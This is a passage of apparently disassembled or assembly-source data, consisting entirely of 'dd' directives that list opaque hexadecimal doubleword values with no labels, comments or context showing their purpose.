0FD280640h, 0D68478F1h dd 0E030A1CDh, 0F534138Ch, 2E040812h, 74E47752h, 5E68AA49h dd 0BFA505F9h, 8410CEA2h, 0A7C14AB3h, 287AA368h, 4A10209Ah dd 0BF041816h, 0C0159533h, 7EE9A34Eh, 40E1FD4Ah, 44D4D32Ch dd 1254570Bh, 0E9048A7Ch, 0E8173955h, 4759073Dh, 0C50723Eh dd 870652Eh, 0FC34E95Bh, 0D10B7624h, 0FA4B0AFh, 649E0046h dd 0F4547335h, 4B2FE961h, 3D869878h, 6A60172Dh, 10A5BC59h dd 0D009206h, 3FE42F75h, 2D00E8D1h, 0F5D624FAh, 97CC7BE9h dd 3543B0D4h, 0AD32256Ah, 966705C0h, 4A74182h, 0E99E127Ah dd 142DC4C1h, 0D0F8F10h, 0CADECB4Bh, 53D28E66h, 50580725h dd 392C997Ah, 5E273949h, 6817C01Eh, 79611C60h, 34ACB2A9h dd 0C4ED1EB4h, 0C04A2E25h, 19DFE5C1h, 0BAA7554Ah, 6EC66473h dd 0BD0AD068h, 852D0592h, 22A4F37Ch, 588202B7h, 0C6013243h dd 0CA770057h, 3559442h, 0BD35F181h, 0FAFCAA6Bh, 886EA2E5h dd 0E25A1B9Ah, 668593FCh, 7D4CAF3Fh, 16344A07h, 5632444Bh dd 6FA71453h, 53361004h, 0E7FBC11Dh, 4337E82h, 658F948Bh dd 9BB5D04Bh, 4F4C0BDCh, 62122CAEh, 9DAF9C2h, 0B12F2BDCh dd 0C46EAA4Bh, 6B8BAF70h, 126E1CC6h, 1FB16815h, 4AAB14FFh dd 505BC5F4h, 0ECBCF7C3h, 0C5A9CCBFh, 89753492h, 0FC67A4DCh dd 7BC65146h, 0B9F2F9BCh, 76C60EA0h, 4F27E123h, 8964D829h dd 0A420DE08h, 0E7435E90h, 13AA4E4Dh, 0B6D9BE01h, 0CB881DE1h dd 5212C639h, 3EC04EB2h, 5F7A804Fh, 2EDE8BDh, 0CC3BFEA2h dd 0D56747DEh, 82855A4Eh, 0EFBCE3D4h, 43D453A2h, 8094F858h dd 2530FBBEh, 5EC78627h, 689C2739h, 8BA085Fh, 0DAE93C3Eh dd 0F15EDA1Fh, 0C4565A49h, 0E0E097B0h, 119FB116h, 0FD3F291Eh dd 9CA9195Ah, 95DDC72Fh, 0F5C0F875h, 71ED0280h, 692C5A66h dd 0A43DE3DFh, 28047EE3h, 0C65366D8h, 0BE057558h, 368A6444h dd 0B04012BBh, 44FD7C1h, 419A55CCh, 51AA42C8h, 5557EE1h dd 686A88FEh, 0D174C527h, 12A9BC40h, 0ECF20C91h, 0C1AB58A6h dd 0E023B798h, 3D05F40Eh, 2D24E017h, 7ADD32B4h, 4D261613h dd 78CA046Bh, 0D154A457h, 52887039h, 29A74069h, 6CA2555Fh dd 0A3A6F98Fh, 0EB0E1B6Dh, 9680B410h, 0AABE9409h, 0B108D9D6h dd 8A052DE0h, 5045B9D2h, 691F224Fh, 27534D3Eh, 6FBF9581h dd 0FB150C97h, 14109901h, 55DC3408h, 6C5109BDh, 48E80F41h dd 0F8C2E015h, 690E2C5Bh, 0C347B852h, 0B151808Eh, 5B45E97Eh dd 50B8C8F2h, 310061FAh, 6E056781h, 0C1278E30h, 0F22D405Eh dd 0B4D03E78h, 0EFFE70F4h, 1CABA22Fh, 2D38358h, 0FA0861FBh dd 0E6EA05EAh, 20BE97B6h, 7ACFEE9Ch, 4A1AE125h, 0E90802EFh dd 2718F8D2h, 89731CF7h, 0E7D14F05h, 0FE767E82h, 0EAEFD13Ah dd 5F8144CAh, 7B148B58h, 798D6E2h, 7FB8505Fh, 1E669240h dd 3061E581h, 0D36CED0Ah, 7F0FC280h, 0EA293751h, 0BE203810h dd 8783554Ah, 2DE1D849h, 30B42D2Ch, 0A3DD2875h, 4594C580h dd 45293B9Eh, 6BF481EEh, 586AB323h, 0F5C1AC7Eh, 3FD588FFh dd 0D0F9AF41h, 0CEF06EE9h, 8CC14E30h, 0CB1788D8h, 9456D3E9h dd 1AFA3CBAh, 0D0ACAF4Ah, 0BFDE3DF2h, 0D8C38001h, 0A871D988h dd 0C2490B7Ch, 136DD1B4h, 0E2413B7Ah, 4130779Bh, 0EE20F2F9h dd 415CB5E7h, 0A96F6BCFh, 0C85D9C68h, 5E04BFC6h, 9581D1F7h dd 17ED6198h, 2FA6C4DAh, 9BD35B22h, 2098A4C9h, 0C6C0104h dd 77C44E5Dh, 0EC6E5C7Bh, 2DF79A75h, 8D465C07h, 0A263A23Fh dd 0FA085044h, 6BC2B7F1h, 0A272F975h, 0D9215261h, 7FAE6610h dd 71BBEA5Eh, 3E4DE938h, 7BBA3100h, 0F4645906h, 658F4912h dd 58C28800h, 66B4F280h, 0B8B0500Fh, 0EEE94420h, 0C00A31BCh dd 9D505EBh, 64D95334h, 0F77E781h, 13603293h, 4A7FFE50h dd 2C53AFF1h, 60F437B4h, 0CAC33310h, 0A7E12568h, 0B50960h dd 39645113h, 620C982Eh, 0ACE90D4Eh, 5C13295Eh, 52EE28AEh dd 501EB22Fh, 0FF49723h, 76B5C59h, 722CB20Ah, 9CD54C21h dd 2E577F9Bh, 82C8664Bh, 36111C2Ah, 77BA87E0h, 583C6D00h dd 0F63B9005h, 0D8F73943h, 6AE9D004h, 0D221D284h, 5B14BE80h dd 41BD5C96h, 40EA1156h, 0C0C7C6FBh, 84FDED79h, 0BF6DF1Ah dd 5F133E9Ch, 20527914h, 3D6817B3h, 97A7E256h, 8AAAD1ABh dd 0DD09C238h, 74B304E5h, 3C25CE23h, 8C1856E5h, 0F4881D7Ah dd 5875E3E4h, 6C29D95Eh, 805E6326h, 47E92FD1h, 0FC972D70h dd 0A0F76BCFh, 0EB792858h, 0AFE3A007h, 6D1C0534h, 0D87ABBE9h dd 9EA081DBh, 374A625Dh, 8B41551Ah, 7FC5102h, 5B4B2943h dd 44C69100h, 81ED6AF4h, 0BDB1A22Ah, 0F7F7EE9h, 0D93D2C36h dd 3A2D3F3Bh, 75D694B5h, 56FA9E6Bh, 20773CEAh, 7850EFE9h dd 4A757E71h, 5C5C2B6h, 4C4DA9F5h, 5D48BDB6h, 0CC6EB3E9h dd 7BFEC3FDh, 0D1762848h, 610882BAh, 68025A4Ch, 0D91A828Bh dd 725A5279h, 14F44E0Ch, 0EE12C719h, 4C87BF39h, 84D8DF5Fh dd 0FC6CC741h, 30037B3Dh, 0EB170F90h, 9D2501BAh, 0C2CCFE48h dd 145DDC8Eh, 502AF90Eh, 0F85AA969h, 157DF9Bh, 43E8E852h dd 8CCFEA1Eh, 0B614A228h, 0E607C071h, 0B1B55108h, 0DD5DCED2h dd 49AB5A32h, 4D440FF6h, 4DC17D84h, 536041A0h, 243D0295h dd 0B189E971h, 6435ECDDh, 80567FE6h, 64752008h, 5BBE4707h dd 3130902Fh, 96CBE9FEh, 7F2BCF4Dh, 40540CABh, 0D038253Ch dd 0D854B44Bh, 2D5E95E9h, 0F2F779ACh, 0A15AF4BDh, 0A0458CDh dd 0FC38A2F1h, 97F10C1Eh, 0D0F7C4B0h, 7B2CDD0Ch, 5095F0E4h dd 0D6E9165Eh, 0ED6529B6h, 3771C6F6h, 4486FF49h, 2FE97948h dd 3F1E4h, 0B951E8D1h, 232D05DCh, 97012DB0h, 0E9342C16h dd 0F27FF662h, 9D02943Fh, 312E48D0h, 3E212854h, 0F0DA09C0h dd 0C11749D3h, 8EB1A86Dh, 0A6030C38h, 2D134353h, 23417798h dd 0DBD5E918h, 24B3BB62h, 167B2171h, 0F20CC40Dh, 1253C086h dd 2621670Ch, 5BDEh, 87ADC317h, 5E5EF729h, 0F0C4CAFCh dd 0FC9DFFCEh, 81758AECh, 8B0EC80h, 268DE649h, 8412FEC4h dd 4D44F09h, 30B2DA1Ah, 359A5B3Ch, 895712D9h, 0F2275F4h dd 1CD787A0h, 375627A4h, 3316468h, 46997BEh, 5B09AA16h dd 0FE494E75h, 49AE4DA4h, 0F5DEAC2Dh, 55F4920Bh, 0BE345098h dd 7552C1B6h, 3A5F6416h, 0C8315807h, 17B8A975h, 2268BD00h dd 0E5C17F82h, 45A087Dh, 0A06EFFB5h, 6C001B4h, 5BDA204Bh dd 6EA2CC0h, 0CAD817E9h dd 0D5DD5063h, 2F64D89Fh, 1FFE2FEDh, 68859792h, 75728FABh dd 0EC61FC27h, 14D727E3h, 3FE78898h, 82AD23CBh, 0A241C915h dd 87CCB410h, 0E10497E6h, 260E5FEh, 0E25C8ABBh, 0B76B5588h dd 98247F76h, 0E899BB34h, 0EB830C3Ah, 0C2F82BF6h, 0F028494h dd 0FDEECD84h, 73077DBh, 0BC4CDCE9h, 2734B56h, 26F94708h dd 65410364h, 69D91C0Ah, 0C5000516h, 2D281905h, 0EE89486Ah dd 0EAD67A48h, 548C542Ch, 0C0537E60h, 3210EB58h, 5D09356Ah dd 0F669D123h, 4E843EC3h, 80FC1CCCh, 0A9D9E9C0h, 0EDC0C2C2h dd 20737003h, 0E081814Ah, 3EA4076Dh, 9B880F0h, 1B3B0948h dd 16B0C984h, 1A61FBAh, 0CF0AA135h, 0BAB27A2Bh, 0D9C7E918h dd 0FB53C29h, 5B6721EEh, 0C807C2Eh, 0DCD14370h, 7AFFFE29h dd 9BFBEB04h, 3386C1Fh, 0AC2E7027h, 2724CEF5h, 52AB9958h dd 0F215B369h, 650790BDh, 0A245265Bh, 195F2FD4h, 0FD2E5C87h dd 0F6F82F9Ah, 99DD2FCFh, 17A5ED17h, 0D3AB3EFDh, 0D770AA81h dd 0BFE478E9h, 50883AD1h, 208528DBh, 0A4A1151Dh, 1C4A3608h dd 0D49DE788h, 0E8E9FA02h, 8200515Fh, 57B13A39h, 45AE07F7h dd 52D7CDA0h, 0E9670B76h, 64D63B5Bh, 2EC78AC6h, 8DBC331h dd 0D88D3052h, 3243165Bh, 5F59B2DDh, 8D20AE6Ch, 0EE52FABEh dd 63F35AADh, 0B43991h, 587A19BFh, 0EFC1262Eh, 65C4081Dh dd 2D507325h, 40B6A65Fh, 68580995h, 0EF30454Eh, 53B7FEC9h dd 0FD5C96D0h, 0A7D6CCC7h, 252DB65Dh, 592F43F3h, 0D6807B7h dd 67FD0B3Eh, 6FE90917h, 0AC179C58h, 0C4983F2Ch, 9A41FFB4h dd 5B01809Ch, 0AA84F62Ch, 30309146h, 0FC2F4D4Ah, 8282A870h dd 7D48B4A8h, 0C531281Eh, 69A347AEh, 9AA3303Eh, 1349D16Dh dd 9BBB860Bh, 0BFDDF017h, 0ED59DD76h, 153B12D8h, 0DF0FE96Bh dd 90B6520Bh, 0B248F187h, 96DD8C6Dh, 0D748A1C4h, 0C9565553h dd 5632841Eh, 2F10F002h, 0E8552951h, 267D2401h, 1BD06B95h dd 0CFD3457Eh, 0FEBBFB02h, 0DD46ED45h, 44EA9CDAh, 760AA76Fh dd 6BDED500h, 0B5013AA1h, 268A3F5Ch, 83A7E109h, 870AA208h dd 41714509h, 622998E9h, 0C10CDA2Eh, 0EC6AFC77h, 0A6F8F147h dd 85A4A27Eh, 5AA8CCF2h, 0FD9848C5h, 4A49807Eh, 99317A1Fh dd 17E904D2h, 0AA1BD5C4h, 44E374Eh, 80AE3018h, 1B7903BCh dd 2D3012Dh, 0E0411751h, 619C5D0h, 0F775906Ch, 0B9594DDh dd 8E14755Ch, 43467AC1h, 0A86A25E2h, 9EE01979h, 0FC2E6422h dd 5E680CBDh, 5DCDCB08h, 935955D1h, 4EF6CE02h, 0C4814B03h dd 0CB147AB0h, 19F1E6E0h, 18647835h, 40173205h, 0FDE3DC0Bh dd 5D2F6214h, 5C5B184Bh, 3C91177Dh, 0EEF5F021h, 7C5FF102h dd 5F7F6832h, 0B4805BE6h, 0F90438AEh, 0B58EE949h, 0C0C4580Eh dd 0FEE2E498h, 0BD64C1Eh, 64C26CD7h, 0A7127EBBh, 4440E2E6h dd 0EBD831E9h, 67C129A6h, 0B1415A0Dh, 0AE7EC8BDh, 4BF57F4h dd 13A1173Ah, 5B5E097h, 2751C140h, 61F0B4B1h, 500D4DB0h dd 5628A4B0h, 0EFB1882Fh, 59CB3002h, 0F1479168h, 0C2B08247h dd 2B7871E9h, 0FEC8BE04h, 748296C5h, 4970FF5Eh, 0F681439Eh dd 53F47972h, 0C0A6B06Eh, 112037EAh, 7F08A09h, 0EBF0A0A6h dd 90F229E5h, 0C54E4F34h, 5B33B943h, 2D80DDF3h, 155C1222h dd 2321E917h, 9EE64C34h, 301FC25h, 0CCCAEA80h, 7D98D2C2h dd 207EF72Dh, 0F56D4983h, 0CA09867h, 7DE671F8h, 10FA0B0Ch dd 3B6C5740h, 2192CB46h, 8F56A9F1h, 0B962990Fh, 4B1407C4h dd 32F942h, 333539EDh, 69AEE965h, 398426B8h, 38A2BA67h dd 592EB05Dh, 16049E8h, 0D81F04Dh, 1A3DC0h, 46C82D23h dd 3A35064Ch, 2992F812h, 681F13E8h, 759AEF89h, 33313857h dd 0A4F582BCh, 0A6BF5D0Fh, 34E9C23Dh, 5D444F2h, 69BB50BCh dd 392CFB21h, 0DC56B74Fh, 7051Ah, 41AE94F8h, 2BC2B782h dd 55AD3D5h, 0BB88CCE9h, 2A608B89h, 0F93EE17Fh, 75BAE446h dd 8B84FA9Ch, 4B7DEEFDh, 0C5F6A913h, 97B058E9h, 0F260BF5Dh dd 0E32D0C3Eh, 2D8F96FBh, 5A69CF45h, 7B4C70FAh, 5D264112h dd 0AF0D2921h, 0B880502Ch, 489745C2h, 507B690h, 41316ED7h dd 8FA53580h, 0E99B1DE6h, 961CAE10h, 7ACD08FDh, 0B38F025h dd 38AC54D0h, 99FDED0h, 600380BAh, 0B7E5015Fh, 4D944560h dd 0E326A9DBh, 4187FDFBh, 518721C9h, 35F0C518h, 87811817h dd 79EAEAD5h, 48700E3Eh, 0E75B10DDh, 0BE048848h, 2205F40h dd 42524AABh, 78C75526h, 0A40959A6h, 0C5B25FD8h, 38933640h dd 0DC4FBA2Fh, 0A1E2A567h, 0E95B0B01h, 0FB84D7CFh, 2D683F8Ch dd 3590546Ch, 2097A3A5h, 50DCC704h, 736F7CB5h, 8BCAB4C3h dd 3DCC97A5h, 0C4FA922Ah, 0D145B7A0h, 0B34E54Dh, 7255F91Eh dd 0AC8835D5h, 49628129h, 96BA00C8h, 15232F34h, 0B19502DDh dd 5310D71Ah, 56982466h, 4E0C102h, 0CC13E368h, 13657A0Ah dd 0E209672Bh, 0B8A612B2h, 697AC9BAh, 51D6CF2Ch, 0F05DA50h dd 7F702BD9h, 0AF8D52A5h, 1A84EC27h, 0C7408DF9h, 18751361h dd 0F12A0A0Bh, 125B1307h, 0E02CBEB9h, 92194109h, 0EE33272h dd 0B2E4558Fh, 0FE01047Dh, 88EAC5C4h, 904D4A28h, 2B97891Fh dd 52AC541Dh, 65670C86h, 34AF544Eh, 0C87C0DBh, 3B12BF4Fh dd 0F857FDE9h, 503D8BBAh, 0B77EE9E1h, 0FA4C7DBAh, 64086A2Ah dd 3C0CF801h, 0D6403193h, 484BE953h, 0CCCFA28Eh, 0EF20594Bh dd 2A5A6267h, 9A0107B8h, 833D4F2Bh, 0BA6D01EEh, 10B0EF05h dd 799BE831h, 0E18B1B0h, 300C4DC9h, 3C7D3D68h, 0BE7E13AFh dd 0B070BE80h, 0EEB817Ch, 60F66949h, 1897F3C0h, 9186DACh dd 5A8A5BDDh, 4A3B095Dh, 0D04075E9h, 2EE54468h, 0AC9DE731h dd 2CD02800h, 0A85E8072h, 2F2AC276h, 895660B3h, 0E9D585B9h dd 6BF8CDE1h, 0ADEA6CCh, 20AE295Bh, 0A487E92Dh, 0F7488CBAh dd 0A993B4E9h, 0F5F9A2E9h, 0F6491D64h, 0A1DE171Ah, 85DA374Bh dd 2B04D743h, 6688794Bh, 0BBCA4020h, 0E007700Bh, 415D9A2Ch dd 727D1592h, 93577E04h, 0B56AC068h, 0BC4ACE2Fh, 3E4E2DFEh dd 46801194h, 4DE97C39h, 546E700Bh, 42DC57EBh, 47ABE153h dd 8506E33Bh, 75AD3487h, 0FB5451C5h, 0E3FB9064h, 0DA099331h dd 185FF7Bh, 5308EBD9h, 0CBD240Bh, 58F963Eh, 420A711Eh dd 5DEAC689h, 0AD265CEDh, 0DDEC9345h, 4C2FCA4Fh, 1F7B01B6h dd 0FAE95612h, 68177E6Ch, 0AEE3C8h, 32757BFh, 2C4B954h dd 0E994872Ah, 69E42BB4h, 0DC679109h, 5CEB0018h, 907F312Eh dd 539E88Eh, 0EFE999ABh, 398BEEFEh, 0DB201422h, 52FE9DA0h dd 0D3F654Fh, 4E008F57h, 77FC5241h, 347EF101h, 0D50C1438h dd 686BEB31h, 60133EE2h, 787E6DEBh, 1F579ED5h, 520405DAh dd 0EA7B2A68h, 7AE92830h, 0D9CE9D80h, 0ECEE7C9Dh, 5FD25F2Ah dd 6B655080h, 629AF60Eh, 0EA31ACB5h, 5ED91E0h, 49090424h dd 4126225h, 0F5EB5A08h, 82A566C0h, 74B96EE9h, 78D654CEh dd 95E06CE4h, 0C25060F6h, 403C314Bh, 80C6F594h, 62C3050Fh dd 0BC015676h, 205B0070h, 0CDE907B6h, 0D9A8B04Fh, 2BDCBC9Ch dd 4D5C0B7Ch, 4075EDB1h, 1315EA0Dh, 0BB239A18h, 0D312CD1Eh dd 87B97240h, 5E49F60Eh, 2800AF31h, 3F5D5C4Ch, 0B52F201h dd 620D6857h, 0E18C02D7h, 0CE29F5B8h, 49CB1006h, 8397D1FAh dd 0EA5854BEh, 4B2D78B8h, 1832FB5Dh, 0AC0CF821h, 40CB98D5h dd 419F882Dh, 0C46472A6h, 0FEDA1886h, 0C28008CBh, 0BF20ACB8h dd 0F5ACC044h, 1F8A29A0h dd 5157D4A2h, 0CD0E280h, 400EB248h, 4314802Ch, 0B2E64514h dd 0B7807005h, 23435168h, 14117824h, 580107A0h, 7685155h dd 0AD309139h, 53BB4075h, 0B1C7990h, 13BE3B4Fh, 45BDAC63h dd 4527051Ch, 0C82D0D3Eh, 4DBD590Bh, 68BF3000h, 9FC53170h dd 944E2CB7h, 3FC74FC8h, 51BC165h, 3DB845E4h, 5EA55106h dd 0BEBF2EF8h, 7B0C309Fh, 1F27C11Dh, 0BDF22050h, 0E317941h dd 0AB54B9DCh, 0EB5A12F2h, 0B1C73102h, 2DF13E6Ah, 1CE2FFEEh dd 481A10DFh, 0F0104BAAh, 210D793Ch, 81BF5720h, 3FA2CC88h dd 40FD5D13h, 18F88A89h, 0BA474Bh, 2FEACF0Eh, 52B56205h dd 0B18E04A4h, 2293918h, 0D55FFA31h, 0B3E99398h, 42D4125Eh dd 0EB3DD2A8h, 4FE31090h, 59BCE0E8h, 0CBDF3BDh, 46EEE5B7h dd 1269DBAh, 93A18FDh, 0B29282Eh, 0FC04DF12h, 4A8A8176h dd 0B7908FEFh, 0AA684990h, 0B2205C3Ch, 3585D3Bh, 84E69CDh dd 0CC180E4Ch, 0E9449038h, 9D5BF232h, 0F4EC4EBEh, 65DBC2B4h dd 5DE24E5Ch, 58A74052h, 1C3CB167h, 0BCC3EDC2h, 6B6ED2E7h dd 54BD16E6h, 0D5E9700Bh, 0CEA7B34Fh, 21FC2925h, 0E7B116Bh dd 0BE93136Eh, 0E0EEF535h, 334E9A80h, 0F9132CA3h, 9DDCAAB6h dd 8C7A8419h, 0ED2F5B81h, 0B591D330h, 132FC2FEh, 0DE8F09C9h dd 67FF1CABh, 0C81C8B7Eh, 4FEDCB27h, 0B70C604h, 4716575Bh dd 0D59D233h, 0C30A28EBh, 32154EE2h, 0D07CF026h, 48616525h dd 57A093A6h, 0F173BC94h, 7C8C8F66h, 92AAC6B5h, 0A0D0F728h dd 441D8D2Fh, 0FB9181EFh, 22944CEh, 809B53D5h, 0FD84EE01h dd 3F90FABAh, 0E10969E9h, 0B3D6AC6Eh, 51450ED9h, 497EF989h dd 0FBFECAFAh, 0F4B6A7BBh, 6E678271h, 7075F73Bh, 668D277Dh dd 57C2B3D9h, 835004A9h, 25D12604h, 0BB948058h, 0E9316D09h dd 2D4C94FDh, 512C5A19h, 2E3C68EBh, 4989FA1Eh, 0D54457F4h dd 0D22D36EEh, 0A31EFD3Dh, 5848E4Fh, 2D1100EAh, 63C09E6Bh dd 29A5FAB7h, 0D9AF80h, 6B5923ECh, 81BFFB29h, 0A037B432h dd 7454D541h, 0D9FD5702h, 17CEBE64h, 0D60BB72Fh, 0FFC94109h dd 49DED7C4h, 0C8BE08D6h, 5195569Ah, 0FE899624h, 49B3CBC0h dd 0C086E2Eh, 15D62462h, 0D6D1DADFh, 3D870811h, 534A5C2Dh dd 7B0CE185h, 53C0F6E8h, 0F7803BB7h, 0EFC0EB13h, 0B91D88AEh dd 7019280Ah, 5906EA68h, 829CF029h, 9151D70Bh, 0ABB9E6B0h dd 0E1B14E37h, 0B85EE44Bh, 0D181485Bh, 5A02755Bh, 0C8A0DF70h dd 475C0F72h, 72EA3C44h, 0A26008A2h, 0E2BC6387h, 0A5D11749h dd 0F4C9C6F6h, 40E1657Fh, 237425D3h, 5F983818h, 0CB7A8C18h dd 28F5C34Ch, 4B805893h, 5A868056h, 21A0FE29h, 0FBB7B21Bh dd 2C1A4A2h, 65997929h, 544190E3h, 721C8308h, 0F34ACF37h dd 0D02A27D9h, 27BC9157h, 7E5C10CCh, 47DEB587h, 3920DD1Ch dd 0E64A8368h, 0BBF3C63Fh, 0D9DEB721h, 80DABA2Fh, 0C4119C90h dd 56C8A160h, 778B97D3h, 0B5BA468h, 0F66C843Ch, 68082ED0h dd 2834170Ch, 0CABA2313h, 1532438h, 0FB3767E1h, 0FA4007Fh dd 0F7566B7Bh, 0D105D964h, 0AFECB3C4h, 4EF3800Ch, 0D8E03C06h dd 0CAFE5B71h, 5C766BBAh, 503D65Fh, 0BFF79658h, 6F3B0439h dd 0FA008CB3h, 81694140h, 531765F7h, 88EB1B0Dh, 6A9FF1E0h dd 5525A022h, 9F572668h, 0D3AF6A51h, 7F090815h, 4A1E7F3Dh dd 738C23FDh, 3CC35162h, 0EC5F4BC6h, 60EA4E6Bh, 0B39BE930h dd 0ACAA519Fh, 0B3AE1910h, 0F3EFDCC2h, 2F29F1B7h, 557C9878h dd 48569625h, 3D455E51h, 5A9C7A2Fh, 4E5D2565h, 225C9F27h dd 6ECC57A5h, 88E917A8h, 0EE25E796h, 8CA34BD2h, 0FD2768E9h dd 89F55949h, 0C3F60203h, 12DEE46Ch, 0EA14B92Ah, 4142FB38h dd 3AF52FE6h, 0D7728E7Fh, 49E2CBBFh, 33849681h, 4EE138E8h dd 2F163D56h, 2E7256BEh, 6568D0A1h, 54766454h, 0D1C4D1D8h dd 0C1A7C14Fh, 71BD667Dh, 0DBE9DB8Bh, 88666C59h, 22B08CCh dd 0A9E4A62h, 0D8AA02FFh, 23614FCDh, 46AC05F7h, 47E5EF12h dd 33B2C67Ah, 0EEB09FF6h, 82E7D0DAh, 0F3288910h, 69C3D55Ah dd 0E98BF1F0h, 993AAB30h, 2D326EEDh, 23F8671Dh, 77CC3FE9h dd 69C80F2Dh, 92C43A15h, 3ACCEB18h, 61EE2E68h, 92EAC253h dd 0B7808DE6h, 903F19F6h, 9D351376h, 0DD5CCCAAh, 0C755BCF6h dd 3DE63C83h, 47ED1702h, 0D92072F5h, 0F3B160CBh, 0EC681EEh dd 4E38051Fh, 0F7697BC9h, 15B17B0h, 5CBFDA73h, 6ED56905h dd 49E97399h, 854C046Eh, 3445680Bh, 1880EF9h, 0F9722D9Ch dd 1947E204h, 20C23364h, 9FC3D160h, 9170F8BEh, 11933C3Dh dd 8571B3CDh, 29F898E4h, 0DB556EDAh, 6C536292h, 9CC2F774h dd 2FF8C56Bh, 3FEA9476h, 76D53809h, 3AF5EB82h, 0FFFFB28Ch dd 96A70967h, 97F0263Dh, 0AE0F6F38h, 1828CC56h, 0CD874F32h dd 0EEC02E01h, 2F0C44B9h, 880CCEF8h, 18037140h, 0D3D612CDh dd 33E801C0h, 7F505E21h, 80452F5h, 0AB1481ADh, 8DB19495h dd 0AC0F0509h, 442106F0h, 5EC70627h, 0C0C9138h, 4D3FFC0Bh dd 4E6DC27h, 816355B8h, 7B5A9E70h, 0C85F5231h, 0CF1D1E39h dd 41B40B90h, 5EF30800h, 92E517Eh, 2182E8FEh, 57662B69h dd 78ED3A00h, 0E6C08C0Ch, 0B93DA4CDh, 9240B725h, 0AB4B64E9h dd 3C1030CEh, 0EC292C39h, 6829C318h, 62235BAAh, 0A25DD1FBh dd 0D02CB31Ah, 437BBDB2h, 9E15A13h, 0A684314Bh, 0C0EE166Eh dd 4E757489h, 295E7F0Bh, 2C4F7h, 97527BB8h, 1109356Dh dd 5572B2Dh, 98EA5D84h, 7B667528h, 9889BB5Dh, 98B10E99h dd 0EBC087DDh, 3A4E3BACh, 0A1CB0128h, 0B32C0813h, 69FC000Bh dd 0B42AEBF9h, 0D34829A0h, 70F14D85h, 88075AEEh, 0FC305BDCh dd 56C5D7D2h, 7325BB8Ah, 681F7894h, 20D62E99h, 808101E8h dd 2A1BE740h, 81FA65BEh, 965C6794h, 0CCA12DC3h, 7E5DA941h dd 2993AE05h, 61F382A9h, 0B400A68Eh, 85985327h, 0D30500FDh dd 5A5B3D16h, 0F3755E12h, 20BE10C6h, 1440F24Eh, 724E18D7h dd 8EBF5024h, 26C1C300h, 60D16799h, 2E4710E3h, 0E9271366h dd 0BF9C85C7h, 0F91F31E2h, 40EE525Fh, 2AC8B8D0h, 589D3199h dd 12BE2FEh, 2D64AB35h, 0E214F722h, 63D524C1h, 145D2773h dd 0D4152086h, 40A8574Bh, 9649FC1Eh, 3B8B967h, 24076BC6h dd 34E6B06Eh, 55D5245Ah, 0DCD300EDh, 71E9ACA7h, 1788C24Eh dd 0BE36F258h, 54BA01BEh, 0E8E57DD6h, 0D5C7EC74h, 9F37B9h dd 340DE781h, 0E12A4819h, 95DDEA76h, 70005D78h, 0F7755661h dd 10548D8h, 71A87315h, 72E6F5E9h, 4CD91F11h, 0D262326h dd 0D8296641h, 4A6C05CCh, 3304EF04h, 30B8F4BAh, 0ED1F1CD4h dd 0F25F9645h, 2252CC6Eh, 0A01C7993h, 0C00870F2h, 5645E675h dd 0D0BF5C78h, 1EF49524h, 2CBAB35Ch, 6D62809Dh, 0E95E1566h dd 0B397B826h, 270B52CBh, 0B1ECF001h, 5F0E3120h, 0F1B1A04Fh dd 0F056024h, 0C0B30A8h, 0D625185Ch, 69E90B96h, 8259D8A4h dd 0A8890314h, 0C6DC2EDFh, 133640D0h, 47FF2h, 7BEFC3A4h dd 12FF44Fh, 5951DCD8h, 1BF141C5h, 0EF247BB6h, 32C01FB1h dd 0B83AE530h, 3CFB0B36h, 0F5F80234h, 6F34F48Ch, 0C8037A24h dd 731761E3h, 28F01D6Bh, 4A1743CCh, 52009EEDh, 14CE6853h dd 5B0262BFh, 2D44F381h, 4BA5408h, 906629CBh, 0C6B58ACh dd 0D2185260h, 5CF0B076h, 31022089h, 0B760E9D5h, 0F9DD72CAh dd 91D84B23h, 685016BEh, 0F3404E5Bh, 753912E0h, 4319868Ch dd 0CC2B7865h, 0A002EB5Ah dd 0D43D2339h, 51861037h, 3865C817h, 7A8B0B51h, 2FE4B010h dd 18A7168h, 935D9DEBh, 0CAAA303Ch, 65741616h, 9504900h dd 27E9230Ah, 29FDEEE0h, 7B4710FCh, 5916CBDDh, 0CAA1195Fh dd 0B95BD37Ch, 7CBE4F39h, 0DE31E99Bh, 49F11DE2h, 0F604FAE4h dd 0B8A6A8FEh, 26E1291h, 0FD97EE4Ch, 0E5DC16F2h, 23993D55h dd 2A5D3498h, 7D20DFDDh, 5E1CCBE6h, 0EA6F6BF1h, 0DE8BD21Bh dd 0FAA0F75Bh, 0E986928h, 9E13E916h, 0BD82DCEFh, 780905F5h dd 9C115D56h, 0DA227F05h, 5099D819h, 0D047365Fh, 0D604BF27h dd 91F4943Eh, 20C101ABh, 7C01DF9Bh, 0CB81271Fh, 6FFC1043h dd 0BF8630E9h, 5C25484Ah, 3948467Ch, 0C0757DBBh, 8810799Dh dd 51017F05h, 0B1024B9h, 124DDCC2h, 55C2B96Fh, 4F2B3050h dd 6AFBF782h, 56FE243Ch, 0D3BD045Ah, 6930F3EFh, 214D8218h dd 8359DFD8h, 0D6CEE9C2h, 27527F5h, 0D792E8F7h, 0A7B4D598h dd 0E3092297h, 692FF494h, 0FD49E2Ah, 0E0A0B41h, 81F7E931h dd 0F7E9DA00h, 0BD793168h, 0D9EB43C0h, 64063909h, 82F35829h dd 0BAC14108h, 4A685674h, 3512F6AEh, 0D1EFA397h, 0B5A9A6h dd 0B04AB652h, 5BA3F4E9h, 0C29C282Dh, 76E02705h, 5DAA89FAh dd 0CD6AC102h, 241DE97Ah, 0BC77B0DFh, 2746E527h, 4C3244B8h dd 29D5465h, 45C0BF57h, 48E9F782h, 0EC2F43D6h, 0FD334199h dd 681189D7h, 252C7EAFh, 91E32DDh, 4B10F584h, 6BB47D99h dd 5C31DDDAh, 76133F7Ah, 0C62A2BF3h, 0D002F08Fh, 955F9AE2h dd 73620099h, 0E91F3307h, 0D22AF126h, 92777AFh, 0B3BB3C50h dd 0C560C041h, 469E415Ah, 1307AAA8h, 4A2EE401h, 0AB6290E2h dd 80F5C94h, 82EBE4Eh, 2D092982h, 0C95ADD3Dh, 5C1E96EEh dd 25B962FCh, 5AA22CC7h, 0B77A03F8h, 0C2314219h, 800D093h dd 0CA819248h, 4E2D5DF7h, 2842A91Eh, 0C05EA006h, 0F6AA4B84h dd 0E123503Ch, 5F0948BCh, 0AB1F2487h, 0AC6BD8E1h, 916AA1E0h dd 939DA22Eh, 0E125C521h, 8F8D3C3Eh, 0EE1D5B60h, 7BCE457Ch dd 0C4C13054h, 4EFDB816h, 0D52D0C2Dh, 2770A02Bh, 